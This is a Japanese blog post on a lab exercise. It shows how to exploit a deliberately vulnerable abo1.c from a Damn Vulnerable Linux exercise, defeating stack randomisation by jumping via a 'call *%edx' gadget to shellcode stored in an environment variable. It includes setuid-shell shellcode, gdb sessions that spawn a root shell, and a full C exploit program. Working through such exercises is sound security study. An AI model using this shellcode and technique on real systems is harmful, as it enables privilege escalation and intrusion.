今時のLinuxってスタックの開始位置が毎回変わりますよね。
そうするとリターンアドレスとかが分かりにくくなっているわけです。
となると昔ながらのバッファオーバーフローエクスプロイトが通じないんですよ。(通じにくい??)
じゃあどうやるんだろーってことで調べました。
まず、セキュリティホールのあるプログラムはこれです。
bt abo01 # cat abo1.c /* abo1.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* Dumb example to let you get introduced... */ int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); }
これの引数(argv[1])にAをたくさん与えた場合$eipが0x41414141のように書き換えられるのはいつも通りのことです。
この時、edxの値をgdbで見ると環境変数の開始アドレスになってます。
このアドレスを実行したいshellコードがある場所にすれば良いというのが参考先の文書で書いてあることです(超要約)。
でわ、まずコンパイルとobjdumpでアドレスの確認。
bt abo01 # gcc abo1.c -o abo bt abo01 # objdump -d -s abo1 | grep edx | grep call 8048358: ff d2 call *%edx 8048420: ff 14 b2 call *(%edx,%esi,4)
次にshellコードの置き場所として環境変数を使用します。
リンク先の文書では2番目の環境変数(MANPATH)使っています。うちのDVLだと2番目の環境変数はHZだったんですが、
上手くいかなかったので1番めの環境変数(MANPATH)を使用しました。
bt abo01 # MANPATH=`ruby -e 'print "\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'` bt abo01 # echo $MANPATH 1۰Ͱ.1Phn/shh//biRS
ではgdb上で試します。とりあえず適当な量をオーバーフローさせてます。
bt abo01 # gdb -q abo1 Using host libthread_db library "/lib/tls/libthread_db.so.1". gdb $ r `perl -e 'print "\x58\x83\x04\x08"x100;'` sh-3.1# exit exit Program exited normally. -------------------------------------------------------------------------[ regs] Error while running hook_stop: No registers. gdb $ q bt abo01 #
上手くいきました.
次に普通にコマンドラインから実行します。
bt abo01 # `perl -e 'print "\x58\x83\x04\x08"x68;'` sh-3.1#
これまた上手くいきました。ちなみに、最低4*68バイトのバッファオーバーフローでシェルが起動しました。
追記
DVLのバッファオーバーフローのテスト(/dvl/exploitmes_package_02/2_advanced_buffer_overflows)のabo1.cに対するexploitコード。
exploitの中でMANPATHをセットする版。
#include#include #include // this address came from following command // 8048338: ff d2 call *%edx // # objdump -d -s abo1 | grep edx | grep call #define ADDRESS 0x08048338 // target buffer size + 12 bytes fake data + address #define BUFFER_SIZE 256 + 16 char shellcode[] = "\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80" "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1" "\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { long *ret; char buf[BUFFER_SIZE], env[7 + 1 + sizeof(shellcode) + 1]; int i; sprintf(env, "MANPATH=%s", shellcode); putenv(env); ret = (long *) &buf; for (i = 0; i < BUFFER_SIZE; i += 4) *ret++ = ADDRESS; execl("./abo1", "abo1", buf, NULL); return 0; }